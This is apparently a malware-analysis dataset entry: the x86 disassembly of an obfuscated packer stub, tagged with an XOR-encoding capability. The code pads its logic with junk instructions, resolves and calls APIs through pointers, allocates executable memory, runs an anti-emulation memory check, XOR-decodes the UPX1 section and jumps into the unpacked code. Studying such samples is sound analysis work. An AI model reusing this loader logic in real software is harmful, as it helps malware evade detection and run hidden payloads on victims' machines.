Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6edb3316
add edi, 0x7c8f61c2
mov esi, edi
not esi
popal
inc esi
mov esi, 0x52649b36
mov ebx, 0
mov ecx, edi
sub eax, edx
mov edx, eax
mov esi, ecx
sub edx, eax
dec eax
sub edx, 0xfa5ca038
mov edi, esi
dec edx
mov edx, eax
or eax, edx
inc ebx
mov eax, edx
add edx, 0x719008ed
sub eax, 1
cmp ebx, 0x100d557
jne 0xa789c8
mov eax, 0x6d54c689
and edx, edx
inc esi
add edi, 0x4b43c4f2
mov ebx, 0xa78796
inc eax
not eax
mov edx, 0xa7898a
dec edi
not edi
mov esi, dword [ebx]
mov eax, edi
dec edi
and eax, eax
and esi, 0xff
sub ecx, 0x5b0feefc
sub edi, ecx
xor dword [edx], esi
not eax
add ecx, 0xf654f782
inc edx
and eax, eax
add edi, ecx
inc ebx
sub ecx, edi
dec ecx
cmp edx, entry0
jl 0xa78a19
sub edi, eax
or edi, eax
dec ecx
sub ecx, 0xe1b938ba
sub edi, eax
mov edx, esi
sub edx, 1
mov ebx, 0xa7898e
or edi, edx
not edi
or edx, ecx
mov ebx, dword [ebx]
mov esi, edx
add edx, ecx
sub esi, 0x85b4ce68
mov ebx, dword [ebx]
inc edi
or ecx, edx
or ecx, ecx
push ebx
not edx
mov edx, 0xd7edb82b
not edx
mov ebx, 0xa7898a
sub edx, 1
or edx, edx
mov ebx, dword [ebx]
or esi, edi
mov esi, 0x2a5fd9e3
mov ebx, dword [ebx]
and edi, edi
and esi, edx
add edi, 1
push 0xa78992
add edx, 0xa1e9ea05
add ecx, 1
call ebx
or edi, edx
dec esi
pop ebx
mov ecx, esi
sub ecx, 0xb57d2bbd
not ecx
push 0xa7899f
and edi, edx
inc edi
mov edi, esi
push eax
add esi, 0x40fcde0b
sub esi, 0xb6c35e34
mov ecx, 0x9f609bb9
call ebx
add edi, 0xa4b8b18c
sub esi, 1
push 0x40
add edi, 0x3facbba1
add edx, 0x55c71f9
sub edi, 0xc42887d4
push 0x3000
add edx, 0x2df8dcd3
sub ecx, 0x9d8e30ae
push 0x20000b79
add edx, ecx
or edx, ecx
sub ecx, 0xdfa85c07
push 0
add edx, esi
mov ecx, 0xc3713b1c
or esi, ecx
call eax
dec ecx
mov esi, ecx
add eax, 0x20000aee
add edi, edx
add edi, 0x79e8df09
mov edi, edx
mov ebx, 0x4d8001d6
not edi
dec esi
mov dword [eax], ebx
add edx, edx
dec edi
inc edx
mov ebx, dword [eax]
add edx, 0xa0343099
and edi, edx
mov edi, edx
cmp ebx, 0x4d8001d6
je 0xa78b7a
mov eax, 0
mov byte [eax], dl
dec edx
not ecx
add edi, 0x6ef4ed64
sub ecx, 0xc8a264a9
mov edi, 0xc713fe0f
not edi
sub esi, edi
mov ecx, section.UPX1
add edi, esi
add edi, 0xa1f707d3
mov eax, 0xa78795
sub esi, 0x24b77e24
add edi, 1
add esi, 1
mov ebx, 0
not edi
inc edi
add esi, esi
mov edx, 0xa78796
sub esi, edi
inc edi
inc esi
lea edx, [ebx + edx]
sub esi, 0x44f39047
mov esi, 0xbc5c9f15
mov edx, dword [edx]
or esi, edi
not edi
and edx, 0xff
dec edi
sub esi, 1
and edi, edi
inc ebx
add esi, 1
sub edi, esi
sub edi, esi
cmp ebx, 0x1f4
jne 0xa78c04
mov ebx, 0
sub edi, 1
sub esi, edi
or esi, esi
sub esi, edi
sub esi, 0xa7522220
xor dword [ecx], edx
mov esi, edi
mov edi, esi
add ecx, 2
inc esi
add edi, esi
cmp ecx, eax
jl 0xa78bc0
sub edi, 0x268ff6de
inc esi
add esi, edi
sub esi, edi
inc esi
mov edx, section.UPX1
or esi, edi
dec esi
not esi
mov ecx, section.UPX1
inc edi
add esi, esi
mov esi, edi
mov eax, 0xa78795
or esi, esi
sub esi, 1
add edi, 0xb666bb7f
mov ebx, 0
add edi, edi
mov edi, esi
mov bl, byte [ecx]
add edi, edi
add edi, 0x450c5957
mov byte [edx], bl
and edi, edi
dec edi
not esi
inc edx
and esi, esi
sub edi, esi
mov edi, esi
add ecx, 2
or edi, edi
sub esi, edi
inc edi
cmp ecx, eax
jle 0xa78c69
sub edi, 0xe0a6c29a
or esi, esi
add edi, 0xc51d5194
sub edi, esi
mov edi, esi
not edi
sub esp, 4
mov dword [esp], 0x8dc6a0
mov esi, edi
sub esi, 0xb15fb08c
ret